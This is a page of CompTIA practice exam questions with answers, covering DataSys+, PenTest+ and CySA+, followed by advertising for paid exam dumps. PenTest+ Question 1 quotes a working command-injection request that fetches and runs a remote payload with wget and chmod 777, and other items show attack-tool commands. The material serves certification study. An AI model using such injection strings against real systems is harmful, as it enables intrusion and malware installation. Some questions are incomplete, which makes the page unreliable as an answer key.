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CompTIA DataSys+ DS0-001 Practice Exam Questions and Answers

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Number of exam questions	Related
15 (Free)	CompTIA Security+

Question 1:

Which of the following indexes stores records in a tabular format?

A. Columnstore

B. Non-clustered

C. Unique

D. Secondary

Correct Answer: A

The index that stores records in a tabular format is columnstore. A columnstore index is a type of index that stores and compresses data by columns rather than by rows.

A columnstore index can improve the performance and efficiency of queries that perform aggregations, calculations, or analysis on large amounts of data, such as data warehouse or business intelligence applications.

A columnstore index can also reduce the storage space required for data by applying various compression techniques, such as dictionary encoding, run-length encoding, bit packing, etc. The other options are either different types of indexes or not related to indexes at all.

For example, a non-clustered index is a type of index that stores the values of one or more columns in a sorted order along with pointers to the corresponding rows in the table; a unique index is a type of index that enforces uniqueness on one or more columns in a table; a secondary index is an alternative term for a non-clustered index.

References: CompTIA DataSys+ Course Outline, Domain 3.0 Database Management and Maintenance, Objective 3.1 Given a scenario, perform common database maintenance tasks.

Question 2:

Which of the following ismostlikely to prevent tampering with server hardware that houses data?

A. Biometric locks

B. Strong password policy

C. Network firewall

D. Surveillance cameras

Correct Answer: A

The option that is most likely to prevent tampering with server hardware that houses data is biometric locks. Biometric locks are devices that use biological characteristics, such as fingerprints, facial recognition, iris scan, etc., to control access to a physical location or resource.

Biometric locks help prevent tampering with server hardware that houses data by restricting unauthorized entry or theft of the hardware by intruders or attackers. Biometric locks also provide higher security and convenience than other types of locks, such as keys or passwords, which can be lost, stolen, or forgotten.

The other options are either not related or not effective for this purpose. For example, a strong password policy is a set of rules or standards for creating and managing passwords for user accounts or systems; a network firewall is a device or software that controls the incoming and outgoing traffic on a network based on a set of rules or policies; surveillance cameras are devices that capture and record video footage of a physical location or resource.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.2 Given a scenario, implement security controls for databases.

Question 3:

Which of the following is a result of an on-path attack on a system?

A. A Wi-Fi networkthat redirects to clones of legitimate websites

B. A website that has crashed and is no longer accessible

C. An email from an unknown source requesting bank account details

D. A web application that returns the addresses of its customers

Correct Answer: A

A result of an on-path attack on a system is a Wi-Fi network that redirects to clones of legitimate websites. An on-path attack is a type of attack that intercepts and modifies the traffic between two parties without their knowledge or consent.

An attacker can use an on-path attack to create a rogue Wi-Fi network that mimics a legitimate one, and then redirect the users to fake websites that look like the ones they intended to visit. The attacker can then steal the users\’ personal or financial information, such as usernames, passwords, credit card numbers, or bank account details.

The other options are either results of different types of attacks or not related to attacks at all. For example, a website that has crashed and is no longer accessible may be a result of a denial-of-service attack, an email from an unknown source requesting bank account details may be a result of a phishing attack, and a web application that returns the addresses of its customers may be a result of a poor design or a data breach.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.4 Given a scenario, identify common types of attacks against databases.

Question 4:

An automated script is using common passwords to gain access to a remote system. Which of the following attacks is being performed?

A. DoS

B. Brute-force

C. SQL injection

D. Phishing

Correct Answer: B

The attack that is being performed is brute-force. A brute-force attack is a type of attack that tries to guess a password or a key by systematically trying all possible combinations of characters or values until the correct one is found.

A brute-force attack can use common passwords, such as “123456”, “password”, or “qwerty”, as well as dictionaries, word lists, or patterns to speed up the process. A brute-force attack can target a remote system, such as a web server, an email account, or a network device, and gain unauthorized access to its data or resources.

The other options are either different types of attacks or not related to password guessing.

For example, a DoS, or Denial-of-Service, attack is a type of attack that floods a system with requests or traffic to overwhelm its capacity and prevent legitimate users from accessing it; an SQL injection attack is a type of attack that inserts malicious SQL statements into an input field or parameter of a web application to manipulate or compromise the underlying database; a phishing attack is a type of attack that sends fraudulent emails or messages that appear to come from a trusted source to trick users into revealing their personalor financial information.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.4 Given a scenario, identify common types of attacks against databases.

Question 5:

A programmer wants to configure a database to only allow read or write access when requests are coming from specific IP addresses. Which of the following can be used to configure IP addresses to allow access to the database?

A. Static IP address

B. Firewall

C. Dynamic IP address

D. IDNS

Correct Answer: B

The best option to configure IP addresses to allow access to the database is a firewall. A firewall is a network device or software that controls the incoming and outgoing traffic based on a set of rules or policies.

A firewall can be used to filter the traffic by IP addresses, ports, protocols, or other criteria, and allow or deny access to the database accordingly. The other options are either not relevant or not sufficient for this task.

For example, a static IP address is an IP address that does not change over time, but it does not determine the access to the database; a dynamic IP address is an IP address that changes periodically, but it does not control the traffic to the database; an IDNS is an Internet Domain Name System, which translates domain names into IP addresses, but it does not regulate the access to the database.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.2 Given a scenario, implement security controls for databases.

Question 6:

Which of the following describes a scenario in which a database administrator would use a relational database rather than a non-relational database?

A. An organization wants to maintain consistency among the data in the database.

B. An organization requires data encryption.

C. An organization wants to process complex data sets.

D. An organization wants to store a large number of videos, photos, and documents.

Correct Answer: A

A scenario in which a database administrator would use a relational database rather than a non-relational database is when an organization wants to maintain consistency among the data in the database.

A relational database is a type of database that organizes data into tables with predefined columns and rows, and enforces rules and constraints to ensure data integrity and accuracy. A relational database also supports transactions, which are sets of operations that must be executed as a whole or not at all, to prevent data corruption or inconsistency. The other options are either not exclusive to relational databases or not relevant to the choice of database type.

For example, data encryption can be applied to both relational and non-relational databases, processing complex data sets may require specialized tools or techniques that arenot dependent on the database type, and storing a large number of videos, photos, and documents may be better suited for a non-relational database that can handle unstructured or semi-structured data. References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.1 Given a scenario, identify and apply database structure types.

Question 7:

Which of the following is a tool for preventing data loss?

A. Gateway

B. IP configuration

C. Encryption

D. Scripts

Correct Answer: C

Question 8:

Which of the following should a company develop to ensure preparedness for a fire in a data center?

A. Deployment plan

B. Backup plan

C. Data retention policy

D. Disaster recovery plan

Correct Answer: D

The document that a company should develop to ensure preparedness for a fire in a data center is a disaster recovery plan.

A disaster recovery plan is a document that outlines how an organization will continue its operations in the event of a disaster or disruption, such as fire, flood, earthquake, cyberattack, etc.

A disaster recovery plan typically includes the followingelements: – The objectives and scope of the plan – The roles and responsibilities of the staff involved – The identification and assessment of the risks and impacts – The strategies and procedures for restoring the critical functions and data – The resources and tools required for the recovery process – The testing and maintenance schedule for the plan A disaster recovery plan helps an organization to minimize the damage and downtime caused by a disaster, as well as to resume normal operations as soon as possible.

The other options are either different types of documents or not specific to fire preparedness. For example, a deployment plan is a document that describes how a system or software will be installed or launched; a backup plan is a document that specifies how data will be copied and stored for backup purposes; a data retention policy is a document that defines how long data should be kept and when it should be deleted or archived.

References: CompTIA DataSys+ Course Outline, Domain 5.0 Business Continuity, Objective 5.4 Given a scenario, implement disaster recovery methods.

Question 9:

Which of the following is recommended in order to provide encrypted data communication pathways for information as it is transmitted over a network?

A. TCP/IP

B. NFS

C. SMB

D. TLS

Correct Answer: D

The option that is recommended in order to provide encrypted data communication pathways for information as it is transmitted over a network is TLS. TLS, or Transport Layer Security, is a protocol that provides secure communication over the internet by encrypting the data using cryptographic algorithms and keys.

TLS also provides authentication and integrity by verifying the identity of the parties involved and ensuring that the data has not been altered or tampered with. TLS can be used to protect various types of data, such as web traffic, email, instant messaging, voice over IP, etc. The other options are either not related or not sufficient for this purpose.

For example, TCP/IP, or Transmission Control Protocol/ Internet Protocol, is a set of protocols that defines how data is transmitted and routed over the internet, but does not provide encryption or security; NFS, or Network File System, is a protocol that allows users to access and share files over a network, but does not provide encryption or security; SMB, or Server Message Block, is a protocol that allows users to access and share files, printers, and other resources over a network, but does not provide encryption or security.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.2 Given a scenario, implement security controls for databases.

Question 10:

Which of the following commands is part of DDL?

A. UPDATE

B. GRANT

C. CREATE

D. INSERT

Correct Answer: C

The command that is part of DDL is CREATE. CREATE is a SQL command that belongs to the category of DDL, or Data Definition Language. DDL is a subset of SQL commands that are used to define or modify the structure or schema of a database, such as tables, columns, constraints, indexes, views, etc.

CREATE is a DDL command that is used to create a new object in a database, such as a table, column, constraint, index, view, etc. For example, the following statement uses the CREATE command to create a new table called employee with four columns:

CREATE TABLE employee (

emp_id INT PRIMARY KEY,

emp_name VARCHAR(50) NOT NULL,

emp_dept VARCHAR(20),

emp_salary DECIMAL(10,2)

);

Copy

The other options are either part of different categories of SQL commands or not SQL commands at all. For example, UPDATE is a SQL command that belongs to the category of DML, or Data Manipulation Language.

DML is a subset of SQL commands that are used to manipulate or modify the data or content of a database, such as inserting, updating, deleting, or selecting data. GRANT is a SQL command that belongs to the category of DCL, or Data Control Language.

DCL is a subset of SQL commands that are used to control or manage the access or permissions of users or roles on a database, such as granting or revoking privileges or roles. INSERT is a SQL command that belongs to the category of DML, or Data Manipulation Language. INSERT is a DML command that is used to insert new data into a table.

References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.2 Given a scenario, execute database tasks using scripting and programming languages.

Question 11:

Which of the following have data manipulation and procedural scripting power? (Choose two.)

A. PQL

B. PL/SQL

C. Advanced

D. SQL

E. SQL

F. T-SQL

Correct Answer: BF

The two options that have data manipulation and procedural scripting power are PL/SQL and T-SQL. PL/SQL, or Procedural Language/Structured Query Language, is an extension of SQL that adds procedural features to SQL for Oracle databases.

PL/SQL allows users to create and execute stored procedures, functions, triggers, packages, etc., using variables, loops, conditions, exceptions, etc., in addition to SQL commands. PL/SQL helps improve the performance, functionality, modularity, and security of SQL queries and applications.

T-SQL, or Transact-SQL, is an extension of SQL that adds procedural features to SQL for Microsoft SQL Server databases. T-SQL allows users to create and execute stored procedures, functions, triggers, etc., using variables, loops, conditions, exceptions, etc., in addition to SQL commands.

T-SQL helps improve the performance, functionality, modularity, and security of SQL queries and applications. The other options are either not related or not having both data manipulation and procedural scripting power.

For example, PQL, or Power Query Language, is a data analysis andtransformation language for Microsoft Power BI and Excel; Advanced SQL is a term that refers to the advanced features or techniques of SQL, such as subqueries, joins, aggregations, etc.; SQL, or Structured Query Language, is a standard language for manipulating and querying data in relational databases, but it does not have procedural features.

References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.2 Given a scenario, execute database tasks using scripting and programming languages.

Question 12:

A developer is designing a table that does not have repeated values. Which of the following indexes should the developer use to prevent duplicate values from being inserted?

A. Unique

B. Single column

C. Implicit

D. Composite

Correct Answer: A

The index that the developer should use to prevent duplicate values from being inserted is unique.

A unique index is a type of index that enforces the uniqueness of the values in one or more columns of a table.

A unique index ensures that no two rows in the table have the same value or combination of values in the indexed columns.

A unique index helps to maintain data integrity and avoid data duplication or inconsistency. The other options are either not related or not effective for this purpose.

For example, a single column index is a type of index that involves only one column of a table, but it does not prevent duplicate values unless it is also unique; an implicit index is a type of index that is automatically created by the database system when a constraint or a primary key is defined on a column or columns of a table, but it does not prevent duplicate values unless it is also unique; a composite index is a type of index that involves two or more columns of a table, but it does not prevent duplicate values unless it is also unique.

References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.2 Given a scenario, execute database tasks using scripting and programming languages.

Question 13:

A database administrator is conducting a stress test and providing feedback to a team that is developing an application that uses the Entity Framework. Which of the following explains the approach the administrator should use when conducting the stress test?

A. Capture business logic, check the performance of codes, and report findings.

B. Check the clustered and non-clustered indexes, and report findings.

C. Review application tables and columns, and report findings.

D. Write queries directly into the database and report findings.

Correct Answer: A

The approach that the administrator should use when conducting the stress test is to capture business logic, check the performance of codes, and report findings.

This will help the administrator to evaluate how well the application handles high volumes of data and transactions, identify any bottlenecks or errors in the code, and provide feedback to the development team on how to improve the application\’s efficiency and reliability.

The other options are either too narrow or too broad in scope, and do not address the specific needs of an application that uses the Entity Framework.

References: CompTIA DataSys+ Course Outline, Domain 4.0 Data and Database Security, Objective 4.3 Given a scenario, monitor database performance and security.

Question 14:

A database administrator would like to create a table named XYZ. Which of the following queries should the database administrator use to create the table?

CompTIA DataSys+ DS0-001 practice exam questions and answers 14

A. Option A

B. Option B

C. Option C

D. Option D

Correct Answer: B

The query that the administrator should use to create the table is option B. This query uses the CREATE TABLE statement to define a new table named XYZ with three columns: ID, Name, and Age. Each column has a data type and a constraint, such as NOT NULL, PRIMARY KEY, or CHECK.

The other options either have syntax errors, use incorrect keywords, or do not specify the table name or columns correctly. References: CompTIA DataSys+ Course Outline, Domain

1.0 Database Fundamentals, Objective 1.1 Given a scenario, identify and apply database structure types.

Question 15:

A company is launching a proof-of-concept, cloud-based application. One of the requirements is to select a database engine that will allow administrators to perform quick and simple queries on unstructured data.Which of the following would bebestsuited for this task?

A. MonogoDB

B. MS SQL

C. Oracle

D. Graph database

Correct Answer: A

The best suited database engine for this task is MongoDB.

MongoDB is a type of non-relational database that stores data as documents in JSON-like format. MongoDB allows administrators to perform quick and simple queries on unstructured data, such as text, images, videos, or social media posts, without requiring a predefined schema or complex joins.

MongoDB also supports cloud-based deployment, scalability, and high availability. The other options are either relational databases that require a fixed schema and structure for data, or specialized databases that are designed for specific purposes, such as graph databases for storing and analyzing network data. References: CompTIA DataSys+ Course Outline, Domain 1.0 Database Fundamentals, Objective 1.1 Given a scenario, identify and apply database structure types.

…

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Question 1:

A penetration tester could gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = “POST “

exploit += “/cgi-bin/index.cgi?action=loginandPath=%27%0A/bin/sh${IFS} ?

c${IFS}\’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS }apache;${IFS}./apache\’%0A%27andloginUser=aandPwd=a”

exploit += “HTTP/1.1”

Which of the following commands should the penetration tester run post-engagement?

A. grep -v apache ~/.bash_history > ~/.bash_history

B. rm -rf /tmp/apache

C. chmod 600 /tmp/apache

D. task kill /IM “Apache” /F

PS. The correct answer is provided at the end of the article

Answer analysis:

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are cd /tmp: change the current directory to /tmp wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1 chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone ./apache: run the file as an executable The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action.

Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

Question 2:

SIMULATION A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets. INSTRUCTIONS Select the appropriate answer(s), given the output from each section. Output 1

latest CompTIA PT0-002 Actual exam questions 2

latest CompTIA PT0-002 Actual exam questions 2-1

latest CompTIA PT0-002 Actual exam questions 2-2

A. Check the answer in the explanation.

Correct Answer: A

latest CompTIA PT0-002 Actual exam questions answer 2

latest CompTIA PT0-002 Actual exam questions answer 2-1

Question 3:

A penetration tester develops exploits to attack multiple versions of a common software package. The versions have different menus and )ut.. they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be each of the exploits targeted to a specific version. Which of the following terms is used to describe this common log-in code example?

A. Conditional

B. Library

C. Dictionary

D. Sub application

PS. The correct answer is provided at the end of the article

Answer analysis:

The term that is used to describe the common log-in code example is a library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package.

The other options are not valid terms that describe the common log-in code example. Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements.

The dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub-application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.

Question 4:

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company\’s employees.

Which of the following tools can help the tester achieve this goal?

A. Metasploit

B. Hydra

C. SET D. WPScan

PS. The correct answer is provided at the end of the article

Question 5:

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-12-20 09:23AM 331 index.aspx | ftp-syst: 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server | rdp-ntlm-info: | Target Name: WEB3 | NetBIOS_Computer_Name: WEB3 | Product_Version: 6.3.9600 |_ System_Time: 2021-01-15T11:32:06+00:00 8443/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server Which of the following command sequences should the penetration tester try NEXT?

A. ftp 192.168.53.23

B. smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 –U guest

C. crack –u Administrator –P 15worst_passwords.txt –p RDP 192.168.53.23

D. curl –X TRACE https://192.168.53.23:8443/index.aspx

E. nmap –-script vuln –sV 192.168.53.23

PS. The correct answer is provided at the end of the article

Question 6:

A penetration tester issues the following command after obtaining a shell:

latest CompTIA PT0-002 Actual exam questions 6

Which of the following describes this technique?

A. Establishing a backdoor

B. Privilege escalation

C. PowerShell remoting

D. Living-off-the-land

PS. The correct answer is provided at the end of the article

Question 7:

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester can query the provider\’s metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A. Cross-site request forgery

B. Server-side request forgery

C. Remote file inclusion

D. Local file inclusion

PS. The correct answer is provided at the end of the article

Answer analysis:

Server-side request forgery (SSRF) is the vulnerability that the tester exploited by querying the provider\’s metadata and getting the credentials used by the instance to authenticate itself. SSRF is a type of attack that abuses a web application to make requests to other resources or services on behalf of the web server. This can allow an attacker to access internal or external resources that are otherwise inaccessible or protected. In this case, the tester was able to access the metadata service of the cloud provider, which contains sensitive information about the instance, such as credentials, IP addresses, roles, etc.

Reference: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

Question 8:

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST

Nmap scan report for ( 10.2.1.22 )

The host is up (0.0102s latency).

Not shown: 998 filtered ports

Port State Service

80/tcp open HTTP

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING): QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches were found for the host (test conditions non-ideal).

OS detection was performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

A. Network device

B. Public-facing web server

C. Active Directory domain controller

D. IoT/embedded device

E. Exposed RDP

F. Print queue

PS. The correct answer is provided at the end of the article

https://www.netscout.com/what-is-ddos/slowloris-attacks From the HTTP title in the output, this looks like an IoT device with RH implying Relative Humidity, which offers a web-based interface for visualizing the results.

Question 9:

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

A. The team exploits a critical server within the organization.

B. The team exfiltrates PII or credit card data from the organization.

C. The team loses access to the network remotely.

D. The team discovers another actor on a system on the network.

PS. The correct answer is provided at the end of the article

Question 10:

A consultant is reviewing the following output after reports of intermittent connectivity issues:

(192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]

(192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]

(192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]

(192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]

(192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]

(192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]

(224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]

(239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet]

Which of the following is MOST likely to be reported by the consultant?

A. A device on the network has an IP address in the wrong subnet.

B. A multicast session was initiated using the wrong multicast group.

C. An ARP flooding attack uses the broadcast address to perform DDoS.

D. A device on the network has poisoned the ARP cache.

PS. The correct answer is provided at the end of the article

The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address.

With this on the same network, intermittent connectivity will be inevitable as long as the gateway remains unreachable on the IP known by the other machines on the network and given that the new machine claiming to be the gateway has not been configured to route traffic.

The output shows an ARP table that contains entries for IP addresses and their corresponding MAC addresses on a local network interface (en0). ARP stands for Address Resolution Protocol and is used to map IP addresses to MAC addresses on a network.

However, one entry in the table is suspicious:

? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] This entry has the same MAC address as another entry:

? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] This indicates that a device on the network has poisoned the ARP cache by sending false ARP replies that associate its MAC address with multiple IP addresses, including 192.168.1.136 and 192.168.1.1 (which is likely the gateway address). This allows the device to intercept or redirect traffic intended for those IP addresses.

Question 11:

A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?

A. Add the passwords to an appendix in the penetration test report.

B. Do nothing. Using passwords from breached data is unethical.

C. Contact the client and inform them of the breach.

D. Use the passwords in a credential stuffing attack when the external penetration test begins.

PS. The correct answer is provided at the end of the article

Answer analysis:

Upon discovering passwords in a publicly available data breach during the reconnaissance phase, the most ethical and constructive action for the penetration tester is to contact the client and inform them of the breach.

This approach allows the client to take necessary actions to mitigate any potential risks, such as forcing password resets or enhancing their security measures.

Adding the passwords to a report appendix (option A) without context or action could be seen as irresponsible while doing nothing

(option B) neglects the tester\’s duty to inform the client of potential threats. Using the passwords in a credential stuffing attack

(option D) without explicit permission as part of an agreed testing scope would be unethical and potentially illegal.

Question 12:

Within a Python script, a line that states print (var) outputs the following:

[{\’1\’ : \’CentOS\’, \’2\’ : \’Ubuntu\’), {\’1\’ : \’Windows 10\’, \’2\’ : \’Windows Server 2016\’}]

Which of the following objects or data structures is var ?

A. An array

B. A class

C. A dictionary

D. A list

PS. The correct answer is provided at the end of the article

Answer analysis:

A list is a data structure in Python that can store multiple values of different types in a sequential order. A list is created by enclosing the values in square brackets [ ] and separating them by commas. A list can also contain other lists as its elements, creating a nested or multidimensional list. The output of the print (var) statement shows that var is a list that contains two elements, each of which is another list with two key-value pairs. The key-value pairs are enclosed in curly braces { }, which indicate that they are dictionaries, another data structure in Python that maps keys to values. Therefore, var is a list of dictionaries.

Question 13:

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

A. Ensure the client has signed the SOW.

B. Verify the client has granted network access to the hot site.

C. Determine if the failover environment relies on resources not owned by the client.

D. Establish communication and escalation procedures with the client.

PS. The correct answer is provided at the end of the article

Answer analysis:

The statement of work (SOW) is a document that defines the scope, objectives, deliverables, and timeline of a penetration testing engagement. It is important to have the client sign the SOW before starting the assessment to avoid any legal or contractual issues.

Question 14:

A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:

latest CompTIA PT0-002 Actual exam questions 14

Which of the following should the penetration tester do NEXT?

A. Close the reverse shell the tester is using.

B. Note this finding for inclusion in the final report.

C. Investigate the high-numbered port connections.

D. Contact the client immediately.

PS. The correct answer is provided at the end of the article

Answer analysis:

The image shows the output of the netstat -antu command, which displays active internet connections for the TCP and UDP protocols.

The output shows that there are four established TCP connections and two listening UDP connections on the host. The established TCP connections have high-numbered ports as their local addresses, such as 49152, 49153, 49154, and 49155.

These ports are in the range of ephemeral ports, which are dynamically assigned by the operating system for temporary use by applications or processes. The foreign addresses of these connections are also high-numbered ports, such as 4433, 4434, 4435, and 4436.

These ports are not well-known or registered ports for any common service or protocol. The combination of high-numbered ports for both local and foreign addresses suggests that these connections are suspicious and may indicate a backdoor or a covert channel on the host.

Therefore, the penetration tester should investigate these connections next to determine their nature and purpose. The other options are not appropriate actions for the penetration tester at this stage.

Question 15:

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

A. The CVSS score of the finding

B. The network location of the vulnerable device

C. The vulnerability identifier

D. The client acceptance form

E. The name of the person who found the flaw

F. The tool used to find the issue

PS. The correct answer is provided at the end of the article

…

Verify answer:

Q10

Q11

Q12

Q13

Q14

Q15

Summarize:

Leads4Pass PT0-002 Actual exam materials simulate real exams and contain 403 latest Actual exam questions with accurate answers and problem analysis to help you prepare for the real certification exam.
Download Leads4Pass PT0-002 Actual exam questions and answers with PDF and VCE: https://www.leads4pass.com/pt0-002.html, easy success!

July 26, 2024 by admin CompTIA CompTIA PenTest+ CompTIA PT0-002 exam materials CompTIA pt0-002 exam practice CompTIA PT0-002 exam questions

New CompTIA CySA+ cs0-003 free exam materials

The New CompTIA CySA+ cs0-003 exam materials are the latest updated actual exam questions in 2024. It currently has 427 exam questions and answers! The most important thing is that candidates can get the 12 latest free exam materials at ExamsCode.

Since the CompTIA CySA+ cs0-003 certification is such a broad subject (and is constantly being updated) you can download the cs0-003 exam materials with both practice formats as PDF and VCE mock exams: https://www.leads4pass.com/cs0-003.html
(It solves the problem of constant updating of CompTIA CySA+ cs0-003 and ensures real-time effectiveness.)

What is CompTIA CySA+?

Starting from June 2023, the CompTIA CySA+ certification exam code will be changed from CS0-002 to CS0-003. Each CompTIA certification exam will update the exam code three years after its release and will make new upgrades.

CompTIA CySA+ Cybersecurity Analyst is an IT staff certification that applies behavioral analysis to networks and devices to prevent, detect, and respond to cybersecurity threats through continuous security monitoring.

CompTIA CySA+ is CompTIA’s only mid-level, high-stakes cybersecurity analyst certification with hands-on, performance-based questions and multiple-choice questions. CySA+ not only focuses on the candidate’s ability to proactively capture monitoring and respond to network traffic findings, but also emphasizes software and application security, automation, threat hunting, and IT compliance, which impact the day-to-day work of a security analyst.

Covering the latest core security analyst skills and upcoming job skills used by Threat Intelligence Analysts, Application Security Analysts, Compliance Analysts, Incident Responders/Handlers, and Threat Hunters, CySA+ brings the inside of Countering Threat Intelligence and new technology Security Operations Centers (SOC) for external threats.

CompTIA CySA+ cs0-003 exam materials list

Here are the new CompTIA CySA+ cs0-003 exam materials we share for free:

1.	12 latest exam questions
2.	Best answer
3.	Combining pictures and text with practice questions
4.	Exam question analysis and answer explanations

NEW QUESTION 1:

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

A. Eradication

B. Recovery

C. Containment

D. Preparation

Correct Answer: A

Analysis and explanation

Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such as malware, backdoors, compromised accounts, or malicious files.

Eradication also involves restoring the systems or networks to their normal or secure state, as well as verifying that the incident is eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process.

NEW QUESTION 2:

A security analyst found the following entry in a server log:

comptia cs0-003 exam materials questions 2

The analyst executed netstat and received the following output:

comptia cs0-003 exam materials questions 2-1

Which of the following lines in the output confirms this was successfully executed by the server?

A. 1

B. 2

C. 3

D. 4

E. 5

F. 6

G. 7

Correct Answer: E

NEW QUESTION 3:

An international company is implementing a marketing campaign for a new product and needs a security analyst to perform a threat-hunting process to identify possible threat actors. Which of the following should be the analyst\’s primary focus?

A. Hacktivists

B. Organized crime

C. Nation-states

D. Insider threats

Correct Answer: B

NEW QUESTION 4:

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

A. Testing

B. Implementation

C. Validation

D. Rollback

Correct Answer: C

Analysis and explanation

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

NEW QUESTION 5:

Legacy medical equipment, which contains sensitive data, cannot be patched. Which of the following is the best solution to improve the equipment\’s security posture?

A. Move the legacy systems behind a WAR

B. Implement an air gap for the legacy systems.

C. Place the legacy systems in the perimeter network.

D. Implement a VPN between the legacy systems and the local network.

Correct Answer: B

Analysis and explanation

Implementing an air gap for the legacy systems is the best solution to improve their security posture. An air gap is a physical separation of a system or network from any other system or network that may pose a threat.

An air gap can prevent any unauthorized access or data transfer between the isolated system or network and the external environment.

Implementing an air gap for legacy systems can help protect them from being exploited by attackers who may take advantage of their unpatched vulnerabilities.

NEW QUESTION 6:

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

A. Business continuity plan

B. Vulnerability management plan

C. Disaster recovery plan

D. Asset management plan

Correct Answer: C

NEW QUESTION 7:

Security awareness and compliance programs are most effective at reducing the likelihood and impact of attacks from:

A. advanced persistent threats.

B. corporate spies.

C. hacktivists.

D. insider threats.

Correct Answer: D

NEW QUESTION 8:

A company is aiming to test a new incident response plan. The management team has made it clear that the initial test should have no impact on the environment. The company has limited resources to support testing. Which of the following exercises would be the best approach?

A. Tabletop scenarios

B. Capture the flag

C. Red team vs. blue team

D. Unknown-environment penetration test

Correct Answer: A

Analysis and explanation

A tabletop scenario is an informal, discussion-based session in which a team discusses their roles and responses during an emergency, walking through one or more example scenarios.

A tabletop scenario is the best approach for a company that wants to test a new incident response plan without impacting the environment or using many resources. A tabletop scenario can help the company identify strengths and weaknesses in its plan, clarify roles and responsibilities, and improve communication and coordination among team members.

The other options are more intensive and disruptive exercises that involve simulating a real incident or attack. CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 16;

https://www.linkedin.com/pulse/tabletop-exercises-explained-matt-lemon-phd

NEW QUESTION 9:

